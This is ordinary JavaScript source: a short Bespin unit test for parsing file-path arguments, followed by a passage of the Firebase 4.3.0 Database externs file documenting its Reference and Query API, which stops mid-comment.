* ***** END LICENSE BLOCK ***** */
dojo.provide("bespin.cmd.fileTest");
dojo.require("bespin.test");
bespin.test.addTests("cmd.file", {
testParseArguments: function(test) {
var session = bespin.get("editSession");
test.isEqual(bespin.cmd.file._parseArguments("/bespin/docs/e"), {
project: 'bespin',
path: 'docs/',
filter: 'e',
projectPath: '/bespin/docs/'
}, 1);
test.isEqual(bespin.cmd.file._parseArguments("/bespin/docs/js/e"), {
project: 'bespin',
path: 'docs/js/',
filter: 'e',
projectPath: '/bespin/docs/js/'
}, 2);
test.isEqual(bespin.cmd.file._parseArguments("/bespin/docs/js/e/"), {
project: 'bespin',
path: 'docs/js/e/',
filter: '',
projectPath: '/bespin/docs/js/e/'
}, 3);
test.isEqual(bespin.cmd.file._parseArguments("/bespin/docs"), {
project: 'bespin',
path: '/',
filter: 'docs',
projectPath: '/bespin/'
}, 4);
test.isEqual(bespin.cmd.file._parseArguments("/bespin"), {
project: '',
path: '/',
filter: 'bespin',
projectPath: '/'
}, 5);
test.isEqual(bespin.cmd.file._parseArguments("fol"), {
project: session.project,
path: '/',
filter: 'fol',
projectPath: ''
}, 6);
}
});
|
/*! @license Firebase v4.3.0
Build: rev-bd8265e
Terms: https://firebase.google.com/terms/
---
typedarray.js
Copyright (c) 2010, Linden Research, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE. */
/**
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @fileoverview Firebase Database API.
* Version: 4.3.0
*
* Copyright 2017 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* @externs
*/
/**
* Gets the {@link firebase.database.Database `Database`} service for the
* default app or a given app.
*
* `firebase.database()` can be called with no arguments to access the default
* app's {@link firebase.database.Database `Database`} service or as
* `firebase.database(app)` to access the
* {@link firebase.database.Database `Database`} service associated with a
* specific app.
*
* `firebase.database` is also a namespace that can be used to access global
* constants and methods associated with the `Database` service.
*
* @example
* // Get the Database service for the default app
* var defaultDatabase = firebase.database();
*
* @example
* // Get the Database service for a specific app
* var otherDatabase = firebase.database(app);
*
* @namespace
* @param {!firebase.app.App=} app Optional app whose Database service to
* return. If not provided, the default Database service will be returned.
* @return {!firebase.database.Database} The default Database service if no app
* is provided or the Database service associated with the provided app.
*/
firebase.database = function(app) {};
/**
* Gets the {@link firebase.database.Database `Database`} service for the
* current app.
*
* @example
* var database = app.database();
* // The above is shorthand for:
* // var database = firebase.database(app);
*
* @return {!firebase.database.Database}
*/
firebase.app.App.prototype.database = function() {};
/**
* The Firebase Database service interface.
*
* Do not call this constructor directly. Instead, use
* {@link firebase.database `firebase.database()`}.
*
* See
* {@link
* https://firebase.google.com/docs/database/web/start/
* Installation & Setup in JavaScript}
* for a full guide on how to use the Firebase Database service.
*
* @interface
*/
firebase.database.Database = function() {};
/**
* Logs debugging information to the console.
*
* @example
* // Enable logging
* firebase.database.enableLogging(true);
*
* @example
* // Disable logging
* firebase.database.enableLogging(false);
*
* @example
* // Enable logging across page refreshes
* firebase.database.enableLogging(true, true);
*
* @example
* // Provide custom logger which prefixes log statements with "[FIREBASE]"
* firebase.database.enableLogging(function(message) {
* console.log("[FIREBASE]", message);
* });
*
* @param {(boolean|function(string))=} logger Enables logging if `true`;
* disables logging if `false`. You can also provide a custom logger function
* to control how things get logged.
* @param {boolean=} persistent Remembers the logging state between page
* refreshes if `true`.
*/
firebase.database.enableLogging = function(logger, persistent) {};
/**
* @namespace
*/
firebase.database.ServerValue = {}
/**
* A placeholder value for auto-populating the current timestamp (time
* since the Unix epoch, in milliseconds) as determined by the Firebase
* servers.
*
* @example
* var sessionsRef = firebase.database().ref("sessions");
* sessionsRef.push({
* startedAt: firebase.database.ServerValue.TIMESTAMP
* });
*
* @const {!Object}
*/
firebase.database.ServerValue.TIMESTAMP;
/**
* The {@link firebase.app.App app} associated with the `Database` service
* instance.
*
* @example
* var app = database.app;
*
* @type {!firebase.app.App}
*/
firebase.database.Database.prototype.app;
/**
* Returns a `Reference` representing the location in the Database
* corresponding to the provided path. If no path is provided, the `Reference`
* will point to the root of the Database.
*
* @example
* // Get a reference to the root of the Database
* var rootRef = firebase.database().ref();
*
* @example
* // Get a reference to the /users/ada node
* var adaRef = firebase.database().ref("users/ada");
* // The above is shorthand for the following operations:
* //var rootRef = firebase.database().ref();
* //var adaRef = rootRef.child("users/ada");
*
* @param {string=} path Optional path representing the location the returned
* `Reference` will point. If not provided, the returned `Reference` will
* point to the root of the Database.
* @return {!firebase.database.Reference} If a path is provided, a `Reference`
* pointing to the provided path. Otherwise, a `Reference` pointing to the
* root of the Database.
*/
firebase.database.Database.prototype.ref = function(path) {};
/**
* Returns a `Reference` representing the location in the Database
* corresponding to the provided Firebase URL.
*
* An exception is thrown if the URL is not a valid Firebase Database URL or it
* has a different domain than the current `Database` instance.
*
* Note that all query parameters (`orderBy`, `limitToLast`, etc.) are ignored
* and are not applied to the returned `Reference`.
*
* @example
* // Get a reference to the root of the Database
* var rootRef = firebase.database().ref("https://<DATABASE_NAME>.firebaseio.com");
*
* @example
* // Get a reference to the /users/ada node
* var adaRef = firebase.database().ref("https://<DATABASE_NAME>.firebaseio.com/users/ada");
*
* @param {string} url The Firebase URL at which the returned `Reference` will
* point.
* @return {!firebase.database.Reference} A `Reference` pointing to the provided
* Firebase URL.
*/
firebase.database.Database.prototype.refFromURL = function(url) {};
/**
* Disconnects from the server (all Database operations will be completed
* offline).
*
* The client automatically maintains a persistent connection to the Database
* server, which will remain active indefinitely and reconnect when
* disconnected. However, the `goOffline()` and `goOnline()` methods may be used
* to control the client connection in cases where a persistent connection is
* undesirable.
*
* While offline, the client will no longer receive data updates from the
* Database. However, all Database operations performed locally will continue to
* immediately fire events, allowing your application to continue behaving
* normally. Additionally, each operation performed locally will automatically
* be queued and retried upon reconnection to the Database server.
*
* To reconnect to the Database and begin receiving remote events, see
* `goOnline()`.
*
* @example
* firebase.database().goOffline();
*/
firebase.database.Database.prototype.goOffline = function() {};
/**
* Reconnects to the server and synchronizes the offline Database state
* with the server state.
*
* This method should be used after disabling the active connection with
* `goOffline()`. Once reconnected, the client will transmit the proper data
* and fire the appropriate events so that your client "catches up"
* automatically.
*
* @example
* firebase.database().goOnline();
*/
firebase.database.Database.prototype.goOnline = function() {};
/**
* A `Reference` represents a specific location in your Database and can be used
* for reading or writing data to that Database location.
*
* You can reference the root or child location in your Database by calling
* `firebase.database().ref()` or `firebase.database().ref("child/path")`.
*
* Writing is done with the `set()` method and reading can be done with the
* `on()` method. See
* {@link
* https://firebase.google.com/docs/database/web/read-and-write
* Read and Write Data on the Web}
*
* @interface
* @extends {firebase.database.Query}
*/
firebase.database.Reference = function() {};
/**
* The last part of the `Reference`'s path.
*
* For example, `"ada"` is the key for
* `https://<DATABASE_NAME>.firebaseio.com/users/ada`.
*
* The key of a root `Reference` is `null`.
*
* @example
* // The key of a root reference is null
* var rootRef = firebase.database().ref();
* var key = rootRef.key; // key === null
*
* @example
* // The key of any non-root reference is the last token in the path
* var adaRef = firebase.database().ref("users/ada");
* var key = adaRef.key; // key === "ada"
* key = adaRef.child("name/last").key; // key === "last"
*
* @type {string|null}
*/
firebase.database.Reference.prototype.key;
/**
* Gets a `Reference` for the location at the specified relative path.
*
* The relative path can either be a simple child name (for example, "ada") or
* a deeper slash-separated path (for example, "ada/name/first").
*
* @example
* var usersRef = firebase.database().ref('users');
* var adaRef = usersRef.child('ada');
* var adaFirstNameRef = adaRef.child('name/first');
* var path = adaFirstNameRef.toString();
* // path is now 'https://sample-app.firebaseio.com/users/ada/name/first'
*
* @param {string} path A relative path from this location to the desired child
* location.
* @return {!firebase.database.Reference} The specified child location.
*/
firebase.database.Reference.prototype.child = function(path) {};
/**
* The parent location of a `Reference`.
*
* The parent of a root `Reference` is `null`.
*
* @example
* // The parent of a root reference is null
* var rootRef = firebase.database().ref();
* parent = rootRef.parent; // parent === null
*
* @example
* // The parent of any non-root reference is the parent location
* var usersRef = firebase.database().ref("users");
* var adaRef = firebase.database().ref("users/ada");
* // usersRef and adaRef.parent represent the same location
*
* @type {?firebase.database.Reference}
*/
firebase.database.Reference.prototype.parent;
/**
* The root `Reference` of the Database.
*
* @example
* // The root of a root reference is itself
* var rootRef = firebase.database().ref();
* // rootRef and rootRef.root represent the same location
*
* @example
* // The root of any non-root reference is the root location
* var adaRef = firebase.database().ref("users/ada");
* // rootRef and adaRef.root represent the same location
*
* @type {!firebase.database.Reference}
*/
firebase.database.Reference.prototype.root;
/**
* @type {string}
*/
firebase.database.Reference.prototype.path;
/**
* Writes data to this Database location.
*
* This will overwrite any data at this location and all child locations.
*
* The effect of the write will be visible immediately, and the corresponding
* events ("value", "child_added", etc.) will be triggered. Synchronization of
* the data to the Firebase servers will also be started, and the returned
* Promise will resolve when complete. If provided, the `onComplete` callback
* will be called asynchronously after synchronization has finished.
*
* Passing `null` for the new value is equivalent to calling `remove()`; namely,
* all data at this location and all child locations will be deleted.
*
* `set()` will remove any priority stored at this location, so if priority is
* meant to be preserved, you need to use `setWithPriority()` instead.
*
* Note that modifying data with `set()` will cancel any pending transactions
* at that location, so extreme care should be taken if mixing `set()` and
* `transaction()` to modify the same data.
*
* A single `set()` will generate a single "value" event at the location where
* the `set()` was performed.
*
* @example
* var adaNameRef = firebase.database().ref('users/ada/name');
* adaNameRef.child('first').set('Ada');
* adaNameRef.child('last').set('Lovelace');
* // We've written 'Ada' to the Database location storing Ada's first name,
* // and 'Lovelace' to the location storing her last name.
*
* @example
* adaNameRef.set({ first: 'Ada', last: 'Lovelace' });
* // Exact same effect as the previous example, except we've written
* // Ada's first and last name simultaneously.
*
* @example
* adaNameRef.set({ first: 'Ada', last: 'Lovelace' })
* .then(function() {
* console.log('Synchronization succeeded');
* })
* .catch(function(error) {
* console.log('Synchronization failed');
* });
* // Same as the previous example, except we will also log a message
* // when the data has finished synchronizing.
*
* @param {*} value The value to be written (string, number, boolean, object,
* array, or null).
* @param {function(?Error)=} onComplete Callback called when write to server is
* complete.
* @return {!firebase.Promise<void>} Resolves when write to server is complete.
*/
firebase.database.Reference.prototype.set = function(value, onComplete) {};
/**
* Writes multiple values to the Database at once.
*
* The `values` argument contains multiple property-value pairs that will be
* written to the Database together. Each child property can either be a simple
* property (for example, "name") or a relative path (for example,
* "name/first") from the current location to the data to update.
*
* As opposed to the `set()` method, `update()` can be use to selectively update
* only the referenced properties at the current location (instead of replacing
* all the child properties at the current location).
*
* The effect of the write will be visible immediately, and the corresponding
* events ('value', 'child_added', etc.) will be triggered. Synchronization of
* the data to the Firebase servers will also be started, and the returned
* Promise will resolve when complete. If provided, the `onComplete` callback
* will be called asynchronously after synchronization has finished.
*
* A single `update()` will generate a single "value" event at the location
* where the `update()` was performed, regardless of how many children were
* modified.
*
* Note that modifying data with `update()` will cancel any pending
* transactions at that location, so extreme care should be taken if mixing
* `update()` and `transaction()` to modify the same data.
*
* Passing `null` to `update()` will remove the data at this location.
*
* See
* {@link
* https://firebase.googleblog.com/2015/09/introducing-multi-location-updates-and_86.html
* Introducing multi-location updates and more}.
*
* @example
* var adaNameRef = firebase.database().ref('users/ada/name');
* // Modify the 'first' and 'last' properties, but leave other data at
* // adaNameRef unchanged.
* adaNameRef.update({ first: 'Ada', last: 'Lovelace' });
*
* @param {!Object} values Object containing multiple values.
* @param {function(?Error)=} onComplete Callback called when write to server is
* complete.
* @return {!firebase.Promise<void>} Resolves when update on server is complete.
*/
firebase.database.Reference.prototype.update = function(values, onComplete) {};
/**
* Writes data the Database location. Like `set()` but also specifies the
* priority for that data.
*
* Applications need not use priority but can order collections by
* ordinary properties (see
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#sorting_and_filtering_data
* Sorting and filtering data}).
*
* @param {*} newVal
* @param {string|number|null} newPriority
* @param {function(?Error)=} onComplete
* @return {!firebase.Promise<void>}
*/
firebase.database.Reference.prototype.setWithPriority =
function(newVal, newPriority, onComplete) {};
/**
* Removes the data at this Database location.
*
* Any data at child locations will also be deleted.
*
* The effect of the remove will be visible immediately and the corresponding
* event 'value' will be triggered. Synchronization of the remove to the
* Firebase servers will also be started, and the returned Promise will resolve
* when complete. If provided, the onComplete callback will be called
* asynchronously after synchronization has finished.
*
* @example
* var adaRef = firebase.database().ref('users/ada');
* adaRef.remove()
* .then(function() {
* console.log("Remove succeeded.")
* })
* .catch(function(error) {
* console.log("Remove failed: " + error.message)
* });
*
* @param {function(?Error)=} onComplete Callback called when write to server is
* complete.
* @return {!firebase.Promise<void>} Resolves when remove on server is complete.
*/
firebase.database.Reference.prototype.remove = function(onComplete) {};
/**
* Atomically modifies the data at this location.
*
* Atomically modify the data at this location. Unlike a normal `set()`, which
* just overwrites the data regardless of its previous value, `transaction()` is
* used to modify the existing value to a new value, ensuring there are no
* conflicts with other clients writing to the same location at the same time.
*
* To accomplish this, you pass `transaction()` an update function which is used
* to transform the current value into a new value. If another client writes to
* the location before your new value is successfully written, your update
* function will be called again with the new current value, and the write will
* be retried. This will happen repeatedly until your write succeeds without
* conflict or you abort the transaction by not returning a value from your
* update function.
*
* Note: Modifying data with `set()` will cancel any pending transactions at
* that location, so extreme care should be taken if mixing `set()` and
* `transaction()` to update the same data.
*
* Note: When using transactions with Security and Firebase Rules in place, be
* aware that a client needs `.read` access in addition to `.write` access in
* order to perform a transaction. This is because the client-side nature of
* transactions requires the client to read the data in order to transactionally
* update it.
*
* @example
* // Increment Ada's rank by 1.
* var adaRankRef = firebase.database().ref('users/ada/rank');
* adaRankRef.transaction(function(currentRank) {
* // If users/ada/rank has never been set, currentRank will be `null`.
* return currentRank + 1;
* });
*
* @example
* // Try to create a user for ada, but only if the user id 'ada' isn't
* // already taken
* var adaRef = firebase.database().ref('users/ada');
* adaRef.transaction(function(currentData) {
* if (currentData === null) {
* return { name: { first: 'Ada', last: 'Lovelace' } };
* } else {
* console.log('User ada already exists.');
* return; // Abort the transaction.
* }
* }, function(error, committed, snapshot) {
* if (error) {
* console.log('Transaction failed abnormally!', error);
* } else if (!committed) {
* console.log('We aborted the transaction (because ada already exists).');
* } else {
* console.log('User ada added!');
* }
* console.log("Ada's data: ", snapshot.val());
* });
*
*
* @param {function(*): *} transactionUpdate A developer-supplied function which
* will be passed the current data stored at this location (as a JavaScript
* object). The function should return the new value it would like written (as
* a JavaScript object). If `undefined` is returned (i.e. you return with no
* arguments) the transaction will be aborted and the data at this location
* will not be modified.
* @param {(function(?Error, boolean,
* ?firebase.database.DataSnapshot))=} onComplete A callback
* function that will be called when the transaction completes. The callback
* is passed three arguments: a possibly-null `Error`, a `boolean` indicating
* whether the transaction was committed, and a `DataSnapshot` indicating the
* final result. If the transaction failed abnormally, the first argument will
* be an `Error` object indicating the failure cause. If the transaction
* finished normally, but no data was committed because no data was returned
* from `transactionUpdate`, then second argument will be false. If the
* transaction completed and committed data to Firebase, the second argument
* will be true. Regardless, the third argument will be a `DataSnapshot`
* containing the resulting data in this location.
* @param {boolean=} applyLocally By default, events are raised each time the
* transaction update function runs. So if it is run multiple times, you may
* see intermediate states. You can set this to false to suppress these
* intermediate states and instead wait until the transaction has completed
* before events are raised.
* @return {!firebase.Promise<{
* committed: boolean,
* snapshot: ?firebase.database.DataSnapshot
* }>} Returns a Promise that can optionally be used instead of the onComplete
* callback to handle success and failure.
*/
firebase.database.Reference.prototype.transaction =
function(transactionUpdate, onComplete, applyLocally) {};
/**
* Sets a priority for the data at this Database location.
*
* Applications need not use priority but can order collections by
* ordinary properties (see
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#sorting_and_filtering_data
* Sorting and filtering data}).
*
* @param {string|number|null} priority
* @param {function(?Error)} onComplete
* @return {!firebase.Promise<void>}
*/
firebase.database.Reference.prototype.setPriority =
function(priority, onComplete) {};
/**
* @interface
* @extends {firebase.database.Reference}
* @extends {firebase.Thenable<void>}
*/
firebase.database.ThenableReference = function() {};
/**
* Generates a new child location using a unique key and returns its
* `Reference`.
*
* This is the most common pattern for adding data to a collection of items.
*
* If you provide a value to `push()`, the value will be written to the
* generated location. If you don't pass a value, nothing will be written to the
* Database and the child will remain empty (but you can use the `Reference`
* elsewhere).
*
* The unique key generated by `push()` are ordered by the current time, so the
* resulting list of items will be chronologically sorted. The keys are also
* designed to be unguessable (they contain 72 random bits of entropy).
*
*
* See
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#append_to_a_list_of_data
* Append to a list of data}
* </br>See
* {@link
* https://firebase.googleblog.com/2015/02/the-2120-ways-to-ensure-unique_68.html
* The 2^120 Ways to Ensure Unique Identifiers}
*
* @example
* var messageListRef = firebase.database().ref('message_list');
* var newMessageRef = messageListRef.push();
* newMessageRef.set({
* 'user_id': 'ada',
* 'text': 'The Analytical Engine weaves algebraical patterns just as the Jacquard loom weaves flowers and leaves.'
* });
* // We've appended a new message to the message_list location.
* var path = newMessageRef.toString();
* // path will be something like
* // 'https://sample-app.firebaseio.com/message_list/-IKo28nwJLH0Nc5XeFmj'
*
* @param {*=} value Optional value to be written at the generated location.
* @param {function(?Error)=} onComplete Callback called when write to server is
* complete.
* @return {!firebase.database.ThenableReference} Combined `Promise` and
* `Reference`; resolves when write is complete, but can be used immediately
* as the `Reference` to the child location.
*/
firebase.database.Reference.prototype.push = function(value, onComplete) {};
/**
* Returns an `OnDisconnect` object - see
* {@link
* https://firebase.google.com/docs/database/web/offline-capabilities
* Enabling Offline Capabilities in JavaScript} for more information on how
* to use it.
*
* @return {!firebase.database.OnDisconnect}
*/
firebase.database.Reference.prototype.onDisconnect = function() {};
/**
* A `Query` sorts and filters the data at a Database location so only a subset
* of the child data is included. This can be used to order a collection of
* data by some attribute (for example, height of dinosaurs) as well as to
* restrict a large list of items (for example, chat messages) down to a number
* suitable for synchronizing to the client. Queries are created by chaining
* together one or more of the filter methods defined here.
*
* Just as with a `Reference`, you can receive data from a `Query` by using the
* `on()` method. You will only receive events and `DataSnapshot`s for the
* subset of the data that matches your query.
*
* Read our documentation on
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#sorting_and_filtering_data
* Sorting and filtering data} for more information.
*
* @interface
*/
firebase.database.Query = function() {}
/**
* Returns a `Reference` to the `Query`'s location.
*
* @type {!firebase.database.Reference}
*/
firebase.database.Query.prototype.ref;
/**
* Returns whether or not the current and provided queries represent the same
* location, have the same query parameters, and are from the same instance of
* `firebase.app.App`.
*
* Two `Reference` objects are equivalent if they represent the same location
* and are from the same instance of `firebase.app.App`.
*
* Two `Query` objects are equivalent if they represent the same location, have
* the same query parameters, and are from the same instance of
* `firebase.app.App`. Equivalent queries share the same sort order, limits, and
* starting and ending points.
*
* @example
* var rootRef = firebase.database.ref();
* var usersRef = rootRef.child("users");
*
* usersRef.isEqual(rootRef); // false
* usersRef.isEqual(rootRef.child("users")); // true
* usersRef.parent.isEqual(rootRef); // true
*
* @example
* var rootRef = firebase.database.ref();
* var usersRef = rootRef.child("users");
* var usersQuery = usersRef.limitToLast(10);
*
* usersQuery.isEqual(usersRef); // false
* usersQuery.isEqual(usersRef.limitToLast(10)); // true
* usersQuery.isEqual(rootRef.limitToLast(10)); // false
* usersQuery.isEqual(usersRef.orderByKey().limitToLast(10)); // false
*
* @param {firebase.database.Query} other The query to compare against.
* @return {boolean} Whether or not the current and provided queries are
* equivalent.
*/
firebase.database.Query.prototype.isEqual = function(other) {};
/**
* Listens for data changes at a particular location.
*
* This is the primary way to read data from a Database. Your callback
* will be triggered for the initial data and again whenever the data changes.
* Use `off( )` to stop receiving updates. See
* {@link https://firebase.google.com/docs/database/web/retrieve-data
* Retrieve Data on the Web}
* for more details.
*
* <h4>value event</h4>
*
* This event will trigger once with the initial data stored at this location,
* and then trigger again each time the data changes. The `DataSnapshot` passed
* to the callback will be for the location at which `on()` was called. It
* won't trigger until the entire contents has been synchronized. If the
* location has no data, it will be triggered with an empty `DataSnapshot`
* (`val()` will return `null`).
*
* <h4>child_added event</h4>
*
* This event will be triggered once for each initial child at this location,
* and it will be triggered again every time a new child is added. The
* `DataSnapshot` passed into the callback will reflect the data for the
* relevant child. For ordering purposes, it is passed a second argument which
* is a string containing the key of the previous sibling child by sort order,
* or `null` if it is the first child.
*
* <h4>child_removed event</h4>
*
* This event will be triggered once every time a child is removed. The
* `DataSnapshot` passed into the callback will be the old data for the child
* that was removed. A child will get removed when either:
*
* - a client explicitly calls `remove()` on that child or one of its ancestors
* - a client calls `set(null)` on that child or one of its ancestors
* - that child has all of its children removed
* - there is a query in effect which now filters out the child (because it's
* sort order changed or the max limit was hit)
*
* <h4>child_changed event</h4>
*
* This event will be triggered when the data stored in a child (or any of its
* descendants) changes. Note that a single `child_changed` event may represent
* multiple changes to the child. The `DataSnapshot` passed to the callback will
* contain the new child contents. For ordering purposes, the callback is also
* passed a second argument which is a string containing the key of the previous
* sibling child by sort order, or `null` if it is the first child.
*
* <h4>child_moved event</h4>
*
* This event will be triggered when a child's sort order changes such that its
* position relative to its siblings changes. The `DataSnapshot` passed to the
* callback will be for the data of the child that has moved. It is also passed
* a second argument which is a string containing the key of the previous
* sibling child by sort order, or `null` if it is the first child.
*
* @example <caption>Handle a new value:</caption>
* ref.on('value', function(dataSnapshot) {
* ...
* });
*
* @example <caption>Handle a new child:</caption>
* ref.on('child_added', function(childSnapshot, prevChildKey) {
* ...
* });
*
* @example <caption>Handle child removal:</caption>
* ref.on('child_removed', function(oldChildSnapshot) {
* ...
* });
*
* @example <caption>Handle child data changes:</caption>
* ref.on('child_changed', function(childSnapshot, prevChildKey) {
* ...
* });
*
* @example <caption>Handle child ordering changes:</caption>
* ref.on('child_moved', function(childSnapshot, prevChildKey) {
* ...
* });
*
* @param {string} eventType One of the following strings: "value",
* "child_added", "child_changed", "child_removed", or "child_moved."
* @param {!function(firebase.database.DataSnapshot, string=)} callback A
* callback that fires when the specified event occurs. The callback will be
* passed a DataSnapshot. For ordering purposes, "child_added",
* "child_changed", and "child_moved" will also be passed a string containing
* the key of the previous child, by sort order, or `null` if it is the
* first child.
* @param {(function(Error)|Object)=} cancelCallbackOrContext An optional
* callback that will be notified if your event subscription is ever canceled
* because your client does not have permission to read this data (or it had
* permission but has now lost it). This callback will be passed an `Error`
* object indicating why the failure occurred.
* @param {Object=} context If provided, this object will be used as `this`
* when calling your callback(s).
* @return {!function(firebase.database.DataSnapshot, string=)} The provided
* callback function is returned unmodified. This is just for convenience if
* you want to pass an inline function to `on()` but store the callback
* function for later passing to `off()`.
*/
firebase.database.Query.prototype.on =
function(eventType, callback, cancelCallbackOrContext, context) {};
/**
* Detaches a callback previously attached with `on()`.
*
* Detach a callback previously attached with `on()`. Note that if `on()` was
* called multiple times with the same eventType and callback, the callback
* will be called multiple times for each event, and `off()` must be called
* multiple times to remove the callback. Calling `off()` on a parent listener
* will not automatically remove listeners registered on child nodes, `off()`
* must also be called on any child listeners to remove the callback.
*
* If a callback is not specified, all callbacks for the specified eventType
* will be removed. Similarly, if no eventType or callback is specified, all
* callbacks for the `Reference` will be removed.
*
* @example
* var onValueChange = function(dataSnapshot) { ... };
* ref.on('value', onValueChange);
* ref.child('meta-data').on('child_added', onChildAdded);
* // Sometime later...
* ref.off('value', onValueChange);
*
* // You must also call off() for any child listeners on ref
* // to cancel those callbacks
* ref.child('meta-data').off('child_added', onValueAdded);
*
* @example
* // Or you can save a line of code by using an inline function
* // and on()'s return value.
* var onValueChange = ref.on('value', function(dataSnapshot) { ... });
* // Sometime later...
* ref.off('value', onValueChange);
*
* @param {string=} eventType One of the following strings: "value",
* "child_added", "child_changed", "child_removed", or "child_moved."
* @param {function(!firebase.database.DataSnapshot, ?string=)=} callback The
* callback function that was passed to `on()`.
* @param {Object=} context The context that was passed to `on()`.
*/
firebase.database.Query.prototype.off =
function(eventType, callback, context) {};
/**
* Listens for exactly one event of the specified event type, and then stops
* listening.
*
* This is equivalent to calling {@link firebase.database.Query#on `on()`}, and
* then calling {@link firebase.database.Query#off `off()`} inside the callback
* function. See {@link firebase.database.Query#on `on()`} for details on the
* event types.
*
* @example
* // Basic usage of .once() to read the data located at ref.
* ref.once('value')
* .then(function(dataSnapshot) {
* // handle read data.
* });
*
* @param {string} eventType One of the following strings: "value",
* "child_added", "child_changed", "child_removed", or "child_moved."
* @param {function(!firebase.database.DataSnapshot, string=)=} successCallback A
* callback that fires when the specified event occurs. The callback will be
* passed a DataSnapshot. For ordering purposes, "child_added",
* "child_changed", and "child_moved" will also be passed a string containing
* the key of the previous child by sort order, or `null` if it is the
* first child.
* @param {(function(Error)|Object)=} failureCallbackOrContext An optional
* callback that will be notified if your client does not have permission to
* read the data. This callback will be passed an `Error` object indicating
* why the failure occurred.
* @param {Object=} context If provided, this object will be used as `this`
* when calling your callback(s).
* @return {!firebase.Promise<*>}
*/
firebase.database.Query.prototype.once =
function(eventType, successCallback, failureCallbackOrContext, context) {};
/**
* Generates a new `Query` limited to the first specific number of children.
*
* The `limitToFirst()` method is used to set a maximum number of children to be
* synced for a given callback. If we set a limit of 100, we will initially only
* receive up to 100 `child_added` events. If we have fewer than 100 messages
* stored in our Database, a `child_added` event will fire for each message.
* However, if we have over 100 messages, we will only receive a `child_added`
* event for the first 100 ordered messages. As items change, we will receive
* `child_removed` events for each item that drops out of the active list so
* that the total number stays at 100.
*
* You can read more about `limitToFirst()` in
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#filtering_data
* Filtering data}.
*
* @example
* // Find the two shortest dinosaurs.
* var ref = firebase.database().ref("dinosaurs");
* ref.orderByChild("height").limitToFirst(2).on("child_added", function(snapshot) {
* // This will be called exactly two times (unless there are less than two
* // dinosaurs in the Database).
*
* // It will also get fired again if one of the first two dinosaurs is
* // removed from the data set, as a new dinosaur will now be the second
* // shortest.
* console.log(snapshot.key);
* });
*
* @param {number} limit The maximum number of nodes to include in this query.
* @return {!firebase.database.Query}
*/
firebase.database.Query.prototype.limitToFirst = function(limit) {};
/**
* Generates a new `Query` object limited to the last specific number of
* children.
*
* The `limitToLast()` method is used to set a maximum number of children to be
* synced for a given callback. If we set a limit of 100, we will initially only
* receive up to 100 `child_added` events. If we have fewer than 100 messages
* stored in our Database, a `child_added` event will fire for each message.
* However, if we have over 100 messages, we will only receive a `child_added`
* event for the last 100 ordered messages. As items change, we will receive
* `child_removed` events for each item that drops out of the active list so
* that the total number stays at 100.
*
* You can read more about `limitToLast()` in
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#filtering_data
* Filtering data}.
*
* @example
* // Find the two heaviest dinosaurs.
* var ref = firebase.database().ref("dinosaurs");
* ref.orderByChild("weight").limitToLast(2).on("child_added", function(snapshot) {
* // This callback will be triggered exactly two times, unless there are
* // fewer than two dinosaurs stored in the Database. It will also get fired
* // for every new, heavier dinosaur that gets added to the data set.
* console.log(snapshot.key);
* });
*
* @param {number} limit The maximum number of nodes to include in this query.
* @return {!firebase.database.Query}
*/
firebase.database.Query.prototype.limitToLast = function(limit) {};
/**
* Generates a new `Query` object ordered by the specified child key.
*
* Queries can only order by one key at a time. Calling `orderByChild()`
* multiple times on the same query is an error.
*
* Firebase queries allow you to order your data by any child key on the fly.
* However, if you know in advance what your indexes will be, you can define
* them via the .indexOn rule in your Security Rules for better performance. See
* the {@link https://firebase.google.com/docs/database/security/indexing-data
* .indexOn} rule for more information.
*
* You can read more about `orderByChild()` in
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#sort_data
* Sort data}.
*
* @example
* var ref = firebase.database().ref("dinosaurs");
* ref.orderByChild("height").on("child_added", function(snapshot) {
* console.log(snapshot.key + " was " + snapshot.val().height + " m tall");
* });
*
* @param {string} path
* @return {!firebase.database.Query}
*/
firebase.database.Query.prototype.orderByChild = function(path) {};
/**
* Generates a new `Query` object ordered by key.
*
* Sorts the results of a query by their (ascending) key values.
*
* You can read more about `orderByKey()` in
* {@link
* https://firebase.google.com/docs/database/web/lists-of-data#sort_data
* Sort data}.
*
* @example
* var ref = firebase.database().ref("dinosaurs");
* ref.orderByKey().on("child_added", function(snapshot) {
* console.log(snapshot.key);
* });
*
* @return {!firebase.database.Query}
*/
firebase.database.Query.prototype.orderByKey = function() {};
/**
* Generates a new `Query` object ordered by priority.
*
